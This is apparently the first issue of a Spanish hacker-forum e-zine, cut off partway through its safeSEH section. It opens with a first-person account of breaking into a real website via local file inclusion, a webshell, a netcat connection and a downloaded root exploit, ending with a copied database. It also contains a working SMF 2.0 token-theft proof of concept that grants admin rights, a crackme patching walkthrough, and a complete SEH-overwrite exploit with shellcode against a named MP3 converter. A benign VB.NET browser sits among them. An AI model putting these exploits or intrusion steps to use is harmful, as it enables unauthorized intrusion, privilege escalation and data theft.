You are on page 1of 38

Presentacin:

Damos la bienvenida al primer Boletn Electrnico de la Comunidad de Portal Hacker, en el cual se han querido plasmar los aportes de diferentes usuarios que participan da a da, en nuestra comunidad. En nuestro primer Boletn, encontraran variados topics, los cuales esperamos que sean de su grato inters.

Con esto, no queremos demostrar nuestros pergaminos, tan solo esperamos que tengan una entretenida lectura de los relatos y experiencias que se confrontan al interior de nuestro foro: www.portalhacker.net .

Agradecimientos especiales a quienes han conformado la edicin de nuestro primer Boletn Electrnico. soez, Cemasmas, Seth, .xAk., JEP, Ilcon14, |_ocutus
5475UK1

- Desarrollo y Compaginacin: The X-C3LL - En portada, los agradecimientos a: 5475UK1 - Desarrollo, grafica y edicin; Grey Mackannan

Indice General de Contenidos:

1.- RELATO DE UNA INTRUSIN: (Cibergolen)


2.- APROPIACION DE TOKEN Y ESCALADA DE PRIVILEGIOS: (Seth y The X-C3LL)
3.- Web Browser: (Ghost_Shell)

4.- [Tutorial] Resolviendo PE-LOCK M4rtyr: (Cibergolen)

5.-Tutorial - Stack overflow bypassing SEH: ( Soez ) 6.- AMPLIACIN - BYPASSING safeSEH: ( Soez ) 7.- TORNEO DE OFUSCACIN DE CDIGO: (Varios autores) 8.- NOS ESTAN DEBUGGEANDO?: (Binary_death, Drinky94, Linkgl) 9.- SERVIDOR CHAT USANDO EL BROWSER: (Avoidance25) 10.- ENVIAR ARCHIVOS EN C++ POR SOCKETS EN WINDOWS
(Nano20sm)

11.-IMAGEN CON TEXTO SOBREESCRITO: (noirusd)

RELATO DE UNA INTRUSIN


(Cibergolen)
Hace unos das, mientras navegaba aburrido por la Web, encontr una pagina con una vulnerabilidad LFI. El sitio, por privacidad, lo llamaremos www.site.com. Observ que la direccin del archivo a incluir lo pasaba mediante GET por la variable "sitacosis/index.php?Page=", a la cual se agregaba la extensin ".PHP" por seguridad... Estuve un rato pensando como evadirlo, y llegue a una conclusin: Tratar con el Null Byte. Bsicamente, para explotarlo, o que hice fue utilizar un archivo inexistente, observar la ruta donde estaba el directorio htdocs, (/var/www/htdocs), para despus buscar algn fichero que vulnerar. En un primer intento, trate de enviarle la ruta: ../../../etc/passwd%00, el cual funciono exitosamente, y buscando, conclu que exista el fichero /proc/self/environ, el cual mostraba mi User-Agent. Cabe aclarar que este permita la inclusin de PHP modificando va Live HTTP Headers.

Con todo esto, consegu crear una webshell en el servidor, lo que me facilito los datos de la base de datos, y una copia de la web. Se trataba de un kernel 2.6.30, as que decid dejar mi netcat escuchando en modo recursivo, y cree la conexin con el Host. Posteriormente, va wget descargue un Root Exploit que encontr por la red, lo cual me permiti permisos de Root en dicho servidor. Resulta que, en dicho servidor, haban mas de 50 usuarios, con varios dominios cada uno... Lejos de hacer un deface masivo, lo cual nunca fue, ni sera, mi objetivo, decid limpiar mis huellas y salir de ah, con una clara conclusin:

Un solo fallo, lo pueden pagar muchos.

Mi nico trofeo fue la copia de la Web, y de la base de datos. Un saludo!

SMF 2.0: robo de token y escalada de privilegios [0-day]


(Seth y The X-C3LL)
Saludos, En estos das hemos estado trabajando Seth y yo en una pequea auditora de seguridad al foro, fruto de la cual hemos encontrado esta vulnerabilidad. La explicacin para la vulnerabilidad del robo de tokens la podis encontrar en este enlace (me da pereza volver a explicarlo todo). A partir de esta vulnerabilidad reportada Seth ha codeado un PoC para poder escalar privilegios desde usuario normal hasta admin:
<?PHP error_reporting(0); if($_GET[1]){ //Show the image file_put_contents('.htoken', $_SERVER['HTTP_REFERER']); //we only save the last token because we are lazy header('Content-Type: image/jpeg'); readfile('clickme.jpg'); //put a image here }else{ //Redirect to the admin panel $file = explode(';', file_get_contents('.htoken')); $file = explode('=', $file[2]); $token = '<input type="hidden" name="' . htmlentities($file[0], ENT_QUOTES) . '" value="' . htmlentities($file[1], ENT_QUOTES) . '" />'; ?> <html><head></head><body> <form action="http://localhost/smf/index.php?action=admin;area=permissions;sa=modify2;group=0;pid=0" method="post"> <input type="hidden" name="group_select_view_basic_info" value="on" /><input type="hidden" name="perm[membergroup] [view_stats]" value="on" /><input type="hidden" name="perm[membergroup][view_mlist]" value="on" /><input type="hidden" name="perm[membergroup][who_view]" value="on" /><input type="hidden" name="perm[membergroup][search_posts]" value="on" /><input type="hidden" name="perm[membergroup][calendar_view]" value="on" /><input type="hidden" name="perm[membergroup][profile_view_own]" value="on" /><input type="hidden" name="perm[membergroup][profile_view_any]" value="on" /><input type="hidden" name="group_select_moderate_general" value="on" /><input type="hidden" name="perm[membergroup][karma_edit]" value="on" /><input type="hidden" name="perm[membergroup][calendar_edit_any]" value="off" /><input type="hidden" name="perm[membergroup] [access_mod_center]" value="on" /><input type="hidden" name="perm[membergroup][moderate_forum]" value="on" /><input type="hidden" name="perm[membergroup][issue_warning]" value="off" /><input type="hidden" name="perm[membergroup][profile_identity_any]" value="on" /><input type="hidden" name="perm[membergroup][profile_extra_any]" value="on" /><input type="hidden" name="perm[membergroup][profile_title_any]" value="on" /><input type="hidden" name="perm[membergroup][profile_remove_any]" value="on" /><input type="hidden" name="group_select_use_pm_system" value="on" /><input type="hidden" name="perm[membergroup][pm_read]" value="on" /><input type="hidden" name="perm[membergroup][pm_send]" value="on" /><input type="hidden" name="perm[membergroup] [calendar_post]" value="off" /><input type="hidden" name="perm[membergroup][calendar_edit_own]" value="off" /><input type="hidden" name="group_select_administrate" value="on" /><input type="hidden" name="perm[membergroup][admin_forum]" value="on" /><input type="hidden" name="perm[membergroup][manage_boards]" value="on" /><input type="hidden" name="perm[membergroup][manage_attachments]" value="on" /><input type="hidden" name="perm[membergroup][manage_smileys]" value="on" /><input type="hidden" name="perm[membergroup] [edit_news]" value="on" /><input type="hidden" name="perm[membergroup][manage_membergroups]" value="on" /><input type="hidden" name="perm[membergroup][manage_permissions]" value="on" /><input type="hidden" name="perm[membergroup][manage_bans]" value="on" /><input type="hidden" name="perm[membergroup][send_mail]" value="on" /><input type="hidden" name="group_select_edit_profile" value="on" /><input type="hidden" name="perm[membergroup][profile_identity_own]" value="on" /><input type="hidden" name="perm[membergroup][profile_extra_own]" value="on" /><input type="hidden" name="perm[membergroup][profile_title_own]" value="on" /><input type="hidden" name="group_select_delete_account" value="on" /><input type="hidden" name="perm[membergroup] [profile_remove_own]" value="on" /><input type="hidden" name="group_select_use_avatar" value="on" /><input type="hidden" name="perm[membergroup][profile_server_avatar]" value="on" /><input type="hidden" name="perm[membergroup][profile_upload_avatar]" value="on" /><input type="hidden" name="perm[membergroup][profile_remote_avatar]" value="on" /><input type="hidden" name="group_select_moderate" value="on" /><input type="hidden" name="perm[board][moderate_board]" value="on" /><input type="hidden" name="perm[board][approve_posts]" value="off" /><input type="hidden" name="perm[board][merge_any]" value="on" /><input type="hidden" name="perm[board][split_any]" value="on" /><input type="hidden" name="perm[board][send_topic]" value="on" /><input type="hidden" name="perm[board][make_sticky]" value="on" /><input type="hidden" name="perm[board][move_own]" value="on" /><input type="hidden" name="perm[board][move_any]" value="on" /><input type="hidden" name="perm[board][lock_own]" value="on" /><input type="hidden" name="perm[board][lock_any]" value="on" /><input type="hidden" name="perm[board][remove_any]" value="on" /><input type="hidden" name="perm[board][modify_replies]" value="on" /><input type="hidden" name="perm[board][delete_replies]" value="on" /><input type="hidden" name="perm[board][announce_topic]" value="on" /><input type="hidden" name="perm[board][delete_any]" value="on" /><input type="hidden" name="perm[board][modify_any]" value="on" /><input type="hidden" name="perm[board][poll_add_any]" value="on" /><input type="hidden" name="perm[board][poll_edit_any]" value="on" /><input type="hidden" name="perm[board][poll_lock_own]" value="on" /><input type="hidden" name="perm[board][poll_lock_any]" value="on" /><input type="hidden" name="perm[board][poll_remove_any]" value="on" /><input type="hidden" name="group_select_make_posts" value="on" /><input type="hidden" name="perm[board][post_new]" value="on" /><input type="hidden" name="perm[board][post_reply_own]" value="on" /><input type="hidden" name="perm[board] [post_reply_any]" value="on" /><input type="hidden" name="perm[board][post_unapproved_topics]" value="on" /><input type="hidden" name="perm[board][post_unapproved_replies_own]" value="on" /><input type="hidden" name="perm[board][post_unapproved_replies_any]" value="on" /><input type="hidden" name="perm[board][post_unapproved_attachments]" value="on" /><input type="hidden" name="group_select_modify" value="on" /><input type="hidden" name="perm[board][remove_own]" value="on" /><input type="hidden" name="perm[board][delete_own]" value="on" /><input type="hidden" name="perm[board][modify_own]" value="on" /><input type="hidden" name="perm[board][poll_edit_own]" value="on" /><input type="hidden" name="perm[board][poll_remove_own]" value="on" /><input type="hidden" name="group_select_participate" value="on" /><input type="hidden" name="perm[board][report_any]" value="on" /><input type="hidden" name="perm[board][poll_view]" value="on" /><input type="hidden" name="perm[board][poll_vote]" value="on" /><input type="hidden" name="perm[board][view_attachments]" value="on" /><input type="hidden" name="group_select_post_polls" value="on" /><input type="hidden" name="perm[board][poll_post]" value="on" /><input type="hidden" name="perm[board][poll_add_own]" value="on" /><input type="hidden" name="group_select_notification" value="on" /><input type="hidden" name="perm[board][mark_any_notify]" value="on" /><input type="hidden" name="perm[board][mark_notify]" value="on" /><input type="hidden" name="group_select_attach" value="on" /><input type="hidden" name="perm[board][post_attachment]=on" /> <?PHP echo $token; ?> </form><script>document.forms[0].submit()</script> </body></html> <? }

Para parchearlo podis borrar las lneas 104 y 105 de subs-menu.php.

Otra cosa, como es muy probable que nos saquen ningn parche por parte de SMF (aunque ya est reportado, no tenemos mucha esperanza de que nos hagan caso), ni tampoco los admin de muchos foros usen la solucin de seth, podis usar una solucin workaround spoofeando los referer o directamente bloquendolos usando algn add-on. RefControl puede ser una buena solucin para aquellos que naveguen con Firefox.

[VB .NET] Web Browser


(Ghost_Shell) FrmBrowser.vb
Public Class FrmBrowser ' variables: ' txtUrl: es un simple textbox ' btnBack: boton que regresa a la pagina anterior ' btnFwrd: boton que va a la sig. pagina ' btnRecharge: recarga la pagina que se esta viendo ' btnStop: detiene el request ' pgrBar: barra que muestra el progreso de los datos recibidos ' lblDone: muestra el estado actual de la navegacion ' i: un contador para el Tab control ' Tab: un tab control ' btnAddTab: crea una nueva pestaa ' btnCloseTab: cierra la pestaa actual Dim i As Integer = 1 ' el usuario quiere regresar a la pagina anterior.. has lo siguiente Private Sub btnBack_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnBack.Click ' buscamos en el panel la vista actual, ' luego de econcontarla, le decimos a ese objeto ' que regrese a la pagina anterior CType(Tab.SelectedTab.Controls.Item(0), WebBrowser).GoBack() End Sub ' el usuario quiere ver las paginas que estaba viendo.. asi que has lo siguiente Private Sub btnFwrd_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnFwrd.Click ' buscamos en el tab panel la vista actual ' luego de encontrarla, le decimos a ese objeto ' que vaya a la siguiente pag. CType(Tab.SelectedTab.Controls.Item(0), WebBrowser).GoForward() End Sub ' el usuario quiere recargar la pagina... has lo siguiente Private Sub btnRecharge_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnRecharge.Click ' buscamos en el tab panel la vista (WebBrowser control) actual ' luego de enconbtrarlo, le decimos a ese objeto ' que recargue la pagina CType(Tab.SelectedTab.Controls.Item(0), WebBrowser).Refresh() End Sub ' el usuario se arrepinti y ya no quiere la pagina, asi que has lo siguiente.. Private Sub btnStop_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnStop.Click ' buscamos en el tab panel la vista actual ' luego de encontrarla, le decimos a ese objeto ' que detenga el envio/recibimiento de datos CType(Tab.SelectedTab.Controls.Item(0), WebBrowser).Stop() End Sub ' el usuario ha digitado algo en el txtUrl!!! Private Sub txtUrl_KeyDown(ByVal sender As System.Object, ByVal e As System.Windows.Forms.KeyEventArgs) Handles txtUrl.KeyDown ' si lo digitado es un "Enter"... If e.KeyCode = Keys.Enter Then ' buscamos la vista que se va a ver afectada ' luego, le decimos que navegue a la URL dada CType(Tab.SelectedTab.Controls.Item(0), WebBrowser).Navigate(txtUrl.Text) End If End Sub ' si el usuario quiere aadir una pestaa (Tab)... Public Sub AddTab_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) addTab() End Sub ' esta funcion se ha hecho para no duplicar codigo.... Private Sub addTab() ' creamos un nuevo objeto WebBrowser Dim browse As New WebBrowser ' aadimos la pestaa al tab control (Tab) Tab.TabPages.Add(i, "Page " & i) ' nos posicionamos en la pestaa nueva Tab.SelectTab(i - 1) browse.Name = "wb" browse.Dock = DockStyle.Fill ' aadimos el objeto WebBrowser a la pestaa actual Tab.SelectedTab.Controls.Add(browse) ' aadimos los manejadores al objeto WebBrowser AddHandler browse.DocumentCompleted, AddressOf browse_complete AddHandler browse.ProgressChanged, AddressOf browse_progressChanged AddHandler browse.Navigating, AddressOf browse_navigating ' aumentamos el contador i = i + 1 End Sub ' cuando se abra el programa creamos una pestaa por default...

Private Sub FrmBrowser_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Dim browse As New WebBrowser Tab.TabPages.Add(i, "Page " & i) Tab.SelectTab(i - 1) browse.Name = "wb" browse.Dock = DockStyle.Fill Tab.SelectedTab.Controls.Add(browse) ' aadimos los manejadores a los botones y menus ' se ha hecho generica para no repetir codigo... ' por eso hay ms AddHandler.... AddHandler btnAddTab.Click, AddressOf AddTab_Click AddHandler menuItemAddTab.Click, AddressOf AddTab_Click AddHandler menuItemCloseTab.Click, AddressOf CloseTab_Click AddHandler btnCloseTab.Click, AddressOf CloseTab_Click ' aqui tambien aadimos los manejadores AddHandler browse.DocumentCompleted, AddressOf browse_complete AddHandler browse.ProgressChanged, AddressOf browse_progressChanged AddHandler browse.Navigating, AddressOf browse_navigating i = i + 1 BookmarkBarPagesItem.DropDownItems.Clear() get_bookmarks() End Sub ' el usuario quiere cerrar una pestaa!!! Public Sub CloseTab_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Tab.Controls.Remove(Tab.SelectedTab) i = i - 1 End Sub ' el usuario ha seleccionado otra pestaa!! Private Sub tab_SelectedIndexChanged(ByVal sender As Object, ByVal e As System.EventArgs) Handles Tab.SelectedIndexChanged ' el try es porque este manejador se ejecuta cuando el usuario ha ' seleccionado una pestaa o ha creado una nueva.. y cuando se crea ' una nueva el objeto WebBrowser no posee una url actual Try ' le preguntamos al objeto WebBrowser de la pestaa actual cual es ' su URL txtUrl.Text = CType(Tab.SelectedTab.Controls.Item(0), WebBrowser).Url.ToString Catch ex As Exception ' si no tuviera una URL actual... no muestres nada... txtUrl.Text = "" End Try End Sub ' cualquier objeto WebBrowser que este navegando activa este manejador ' aca nada mas queremos reflejar el proceso de cuanto se ha completado Public Sub browse_progressChanged(ByVal sender As Object, ByVal e As Windows.Forms.WebBrowserProgressChangedEventArgs) If e.MaximumProgress <> 0 And e.MaximumProgress >= e.CurrentProgress Then pgrBar.Value = Convert.ToInt32(100 * e.CurrentProgress / e.MaximumProgress) End If End Sub ' el objeto WebBrowser ha terminado la carga de la pagina.. asi que.... Public Sub browse_complete(ByVal sender As Object, ByVal e As Windows.Forms.WebBrowserDocumentCompletedEventArgs) ' cambiamos el texto de txtUrl para que refleje la URL actual txtUrl.Text = CType(Tab.SelectedTab.Controls.Item(0), WebBrowser).Url.ToString() ' cambiamos el texto de la pestaa actual Tab.SelectedTab.Text = CType(Tab.SelectedTab.Controls.Item(0), WebBrowser).DocumentTitle.ToString() ' le preguntamos al objeto WebBrowser actual si puede regresar a la pagina anterior ' si es asi, el btnBack ya puede ser usado.. btnBack.Enabled = CType(Tab.SelectedTab.Controls.Item(0), WebBrowser).CanGoBack ' igualmente para este btnFwrd.Enabled = CType(Tab.SelectedTab.Controls.Item(0), WebBrowser).CanGoForward ' ya termino todo, asi que volvemos a 0 al pgrBar pgrBar.Value = 0 ' ya el usuario no puede detener la carga de la pagina, asi que ya no puede ' usar el boton. btnStop.Enabled = False lblDone.Text = "Done" ' la pagina ha terminado de cargar... ahora guardamos la url en el historial ' vemos si el historial ya posee la URL buscada If (My.Settings.History.Contains(CType(Tab.SelectedTab.Controls.Item(0), WebBrowser).Url.ToString)) Then ' si es asi, no hacemos nada ya que la pagina ya fue buscada.... Else ' si no esta la agregamos.... My.Settings.History.Add(CType(Tab.SelectedTab.Controls.Item(0), WebBrowser).Url.ToString) End If End Sub ' el objeto WebBrowser de la pestaa actual esta navegando... asi que Public Sub browse_navigating(ByVal sender As System.Object, ByVal e As System.Windows.Forms.WebBrowserNavigatingEventArgs) ' activamos el boton btnStop para darle al usuario la opcion de ' detener el pedido (request) btnStop.Enabled = True lblDone.Text = "Wait..." End Sub ' La barra "Bookmark" ha sido seleccionada.. pero no sabemos si ha habido ' cambios en la lista de URLs (My.Settings.Bookmarks) asi que ' actualizamos Private Sub bookmarkBar_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles bookmarkBar.Click Try ' set al texto por si el usuario quiere guardar la URL bookmarkTxtBox.Text = CType(Tab.SelectedTab.Controls.Item(0), WebBrowser).Url.ToString ' descartamos todos los items de "Pages" para no repetir BookmarkBarPagesItem.DropDownItems.Clear() ' actualizamos los items de "Pages" get_bookmarks() Catch ex As Exception bookmarkTxtBox.Text = "" BookmarkBarPagesItem.DropDownItems.Clear() get_bookmarks() End Try End Sub ' funcion que tiene como objetivo obtener todas las URL guardadas Public Sub get_bookmarks() For Each item As String In My.Settings.Bookmarks Dim add As New ToolStripButton add.Text = item AddHandler add.Click, AddressOf bookmark_clicked BookmarkBarPagesItem.DropDownItems.Add(add) Next End Sub

' una de las URL guardadas ha sido seleccionada asi que ' vamos a la pagina que representa Public Sub bookmark_clicked(ByVal sender As Object, ByVal e As System.EventArgs) Dim actual As ToolStripItem actual = CType(sender, ToolStripItem) CType(Tab.SelectedTab.Controls.Item(0), WebBrowser).Navigate(actual.Text) End Sub ' el usuario ha hecho click a "Add!", asi que guardamos el texto ' que se encuentra en bookmarkTxtBox Private Sub bookmarkBarAddItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles bookmarkBarAddItem.Click ' si la URL especificada ya existe no hacemos nada If (My.Settings.Bookmarks.Contains(bookmarkTxtBox.Text)) Then MsgBox("" & bookmarkTxtBox.Text & " ya existe en bookmark") ' pero si no existe la agregamos Else My.Settings.Bookmarks.Add(bookmarkTxtBox.Text) End If End Sub Private Sub historyBarViewItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles historyBarViewItem.Click HistoryForm.dad = CType(Me, FrmBrowser) HistoryForm.Show() End Sub ' esta funcion es llamada por HistoryForm.... para poder abrir la ' URL seleccionada en el historial Public Sub external_Call(ByVal url As String) addTab() CType(Tab.SelectedTab.Controls.Item(0), WebBrowser).Navigate(url) End Sub End Class

HistoryForm.vb
Public Class HistoryForm ' guarda la referencia de la instancia actual del programa Public dad As FrmBrowser ' cuando se abre la form... actualizamos el historial... Private Sub HistoryForm_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load ' borramos todos los items que haya en la lista lista.Items.Clear() ' actualizamos la lista get_History() End Sub ' funcion que sirve para obtener historial Private Sub get_History() For Each item As String In My.Settings.History lista.Items.Add(item) Next End Sub ' borra el historial.... Private Sub btnClearAll_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnClearAll.Click My.Settings.History.Clear() ' ya que ya no hay items en History... borramos lo que haya en la lista lista.Items.Clear() End Sub ' funcion que abre en una nueva pestaa la URL seleccionada en el historial Private Sub btnGo_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnGo.Click ' si no hay referencia del quien la llamo (o sea el FrmBrowser) ' despliega un mensaje de error If (dad Is Nothing) Then MsgBox("Hubo un error!!!") Else ' si el usuario no ha seleccionado nada de la lista ' despliega un error If (lista.SelectedItem Is Nothing) Then MsgBox("por favor seleccione una URL de la lista!!") ' sino procede a abrir la URL Else dad.external_Call(lista.SelectedItem.ToString) End If End If End Sub End Class

[Tutorial] Resolviendo PE-LOCK M4rtyr


(Cibergolen)
Conociendo a la victima: El PatchMe se anuncia como empaquetado en PE-LOCK, y el objetivo es desempaquetarlo y parchearlo. Si abrimos el ejecutable normal, vemos: This application is protected by the demo version of PELock. The full version will not display any messages. To find out more about PELock, please visit our site at:

http://www.pelock.prv.pl

Empezando la fiesta: Arrancamos con OllyDBG, damos RUN (F9), y pasamos el mensaje. Vemos varias excepciones, las cuales vamos a ir saltando con Shift+F9.

Al final, pasaremos una ultima excepcin. Anotaremos la direccin, en mi caso 394986, y reiniciamos. Cuando llegamos a dicha direccin, pasamos la excepcin con Shift+F7, y vamos al mapa de memoria, para colocar un MBP en la seccin principal.

Desarmando: Una vez colocado el MBP, damos RUN y veremos el OEP "original" (realmente no es as, pero estamos muy cerca).

No vemos un carajo. Analizamos el codigo... (Control + A)

Esto ya es otra cosa, vemos el salto a 401000, el OEP original. Pasamos el OllyDump y generamos un .exe desempaquetado.

Parcheando: Ahora la tarea mas fcil. Vamos traceando el cdigo, y vemos la primera comparacin:
00401078 0040107B 00401078 0040107B . 83F8 FF ; | . 75 1D ; | . 83F8 FF ; | 74 1D CMP EAX,-1 JNZ SHORT test_des.0040109A CMP EAX,-1 JE SHORT test_des.0040109A

Editamos el JNZ, y continuamos.


004010AE 004010B0 004010B2 . . . 85C0 75 02 EB 43 TEST EAX,EAX JNZ SHORT test_des.004010B4 JMP SHORT test_des.004010F7

Editamos el JNZ por JE para realizar el salto...


004010B4 004010B6 004010B8 004010BF > \33DB . 33F6 . 833D 73214000 10 . 7C 36 XOR EBX,EBX XOR ESI,ESI CMP DWORD PTR DS:[402173],10 JL SHORT test_des.004010F7

Anulamos el JL...
004010D3 004010D6 > \83FE 08 . 7C 1F CMP ESI,8 JL SHORT test_des.004010F7

Y este ultimo tambin. Vemos que el ultimo JMP nos lleva al mensaje correcto.

Tutorial - Stack overflow bypassing SEH "Structured Exception Handler"


(Soez)

INTRODUCCION
En este caso vamos a ver como saltarnos la proteccin SEH. Para seguir este tutorial necesitaremos: Windbg: http://www.microsoft.com/whdc/devtools/debugging/default.mspx Tener python instalado: http://www.python.org/download/ Metasploit: http://www.metasploit.com/download/ Cygwin: http://cygwin.com/install.html A-PDF All to MP3 converter 2.0.0: http://www.exploit-db.com/application/16073/

EXPLICACION
Bueno a ver si me explico bien Cuando programamos cualquier aplicacin le podemos poner lo que son bloques de control de errores, los conocidos try {} catch() {}; si se cumple lo que hay dentro del try sigue el cdigo despus del catch, si hay un error salta a la excepcin, o sea al catch y hace lo que haya dentro. Bien pues esto se nos aparece tambin en la pila, el controlador de excepciones. El propio sistema operativo tiene sus propios controladores de excepciones, ahora como es su funcionamiento en la pila, pues en cada marco de pila antes de llegar al ret hay un puntero al prximo marco de pila con su SEH handler y despus de esta la direccin del propio SEH handler. Al final llega a una direccin tipo 0xFFFFFFFF que indica que es el ultimo SEH handler y all se para. En su camino puede encontrarse con SEH handler del programa compilado y con SEH handler del sistema operativo.

Como explotar esto sin llegar a ningn controlador de excepcin. Bueno la tcnica es la siguiente. Como siempre llenar el buffer de basura, cuando llegamos al puntero del prximo SEH lo sobrescribimos con un salto de 6 bytes hacia delante que se encontrar nuestra shellcode, despus la siguiente direccin (el SEH handler actual no despus de los 6 bytes) la reemplazamos por un pop pop ret que har que quite dos direcciones y llegue al puntero del prximo SEH, o sea al salto de 6 bytes y de ah a nuestra shellcode. Por qu ocurre esto? Porque cuando se encuentra un error el SEH actual crea un marco de pila nuevo con su cdigo, o sea que apunta a un nuevo marco de pila, a esp, si hacemos un pop quitamos 4 bytes y estamos en la direccin del SEH actual y hacemos otro pop para llegar al puntero del prximo SEH handler (quitamos otros 4 bytes) que es nuestro salto de 6 bytes que con el ret realizar ese salto

Una vez entendido esto no os va a costar construir vuestros exploits

MANOS A LA OBRA

Vamos a poner a Windbg como just-time-in-debugger, vamos a su carpeta y ejecutamos windbg I (como administrador).
C:\Program Files\Debugging Tools for Windows (x86)>windbg I

Ahora vamos a fuzzear el programa, para esto ya tienes que tener el programa vulnerable instalado, en este caso A-PDF All to MP3 converter 2.0.0. Adems de Metasploit. Arrancamos este ltimo con msfconsole y utilizamos una de sus tools pattern_reate.rb (est en la carpeta tools).

Copiamos todos los bytes y lo empleamos en un script de python con el siguiente cdigo.

#!/usr/bin/env python # Fuzz ejemplo ###################### import sys fuzz = Cadena de caracteres de pattern_create.rb f = open("crash.wav","wb") f.write(fuzz) f.close() print ("[+] Hecho!!!")

Desde ms-dos lo invocamos y creamos el archivo


C:\Users\soez\Desktop>exploit.py [+] Hecho!!!

Abrimos ahora Alltomp3.exe, nos pide el registro jeje, le damos a try y despus a next, arrastramos el archivo crash.wav al programa y windbg salta

Para ver donde ha desbordado escribimos el comando !exchain y aparece el patrn de bsqueda

Cogemos el patrn de bsqueda y nos vamos de nuevo a Metasploit para sacar los caracteres de basura.
msf > ruby pattern_offset.rb 68463768 [*] exec: ruby pattern_offset.rb 68463768 4132

De esto concluimos que el exploit seria: basura + jmp 6 bytes + pop pop ret + shellcode

ARMANDO EXPLOIT
Usaremos python para el exploit como en el fuzz, pero antes necesitamos sacar una direccin que use el programa que contenga un pop pop ret. Como lo sacamos? Tambin con Metasploit, pero esta opcin solo se puede usar desde Linux porque Windows no entiende el archivo por eso tenemos que instalarnos Cygwin, ya sabes Ahora nos vamos a la ruta donde esta msfpescan que est dentro de la carpeta msf3. Antes de buscar bueno os digo, lo mejor es buscar el offset en el propio ejecutable porque nos aseguramos de que funcionar y adems ser universal independientemente

del sistema operativo. Resulta que tenia la anterior versin de Metasploit que trae una consola de Cygwin as que no me hizo falta instalarlo. Ahora si ejecutamos msfpescan -p ruta_del_exe:

Nos han salido solo 4 direcciones y adems con caracteres nulos 00 (podra fallar el ataque), usamos la ultima y a ver que ocurre, la cogemos en el orden littel Indian "\x91\x6a\x5d\x00". Nos falta el salto de 6 bytes, esto se consigue con "\xeb\x06\x90\x90" eb para el opcode jmp y despus los bytes que deseemos pero siempre en hexadecimal claro, seguido de dos nops. Ah falta lo ms importante la shellcode, en este caso la ejecucin de una calculadora. El exploit quedara as.
#!/usr/bin/env python # Exploit ejemplo ###################### import sys basura = "\x41" * 4132 nseh = "\xeb\x06\x90\x90" seh = "\x91\x6a\x5d\x00" # win32_exec - EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com shellcode= ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" "\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37" "\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48" "\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48" "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c" "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48" "\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54" "\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48" "\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43" "\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57" "\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a" "\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b" "\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53" "\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37" "\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49" "\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46" "\x4e\x36\x43\x46\x42\x50\x5a") exploit = basura + nseh + seh + shellcode f = open("crash.wav","wb") f.write(exploit) f.close()

Desde ms-dos lo invocamos y creamos el archivo


C:\Users\soez\Desktop>exploit.py [+] Hecho!!!

Volvemos a abrir crash.wav con Alltomp3.exe y voil

BIBLIOGRAFIA
http://www.corelan.be:8800 <-- Recomendada (ingls) http://www.exploit-db.com <-- Para practicar con ms programas Este manual se lo dedico a mi compaero de batallas messerschmitt que cuando se levante ver el manual jeje.

AMPLIACIN - BYPASSING safeSEH


(Soez)
safeSEH se implement para evitar el abuso de la explotacin de SEH, en que consiste? Bueno pues la cadena de direcciones SEH handler son verificadas hasta llegar al final a la direccin 0xFFFFFFFF si una de ellas ha cambiado el programa termina sin haber hecho saltar al controlador de excepcin, siendo asi la direccion pop pop ret no seria efectiva. Como solucionamos esto, haciendo saltos validos que hagan que caiga de nuevo en el puntero al proximo SEH handler y esta apuntar a nuestra shellcode. Los saltos validos son de tipo:

esp+8, esp+14, esp+1c, esp+2c, esp+44, esp+50, ebp+0c, ebp+24, ebp+30, ebp-04, ebp-0c, ebp-18 Lo que vamos a hacer es encontrar un opcode que salte a ebp+0x30 . Arrancamos Windbg y vamos a File -> Open Executable y escribimos el comando:
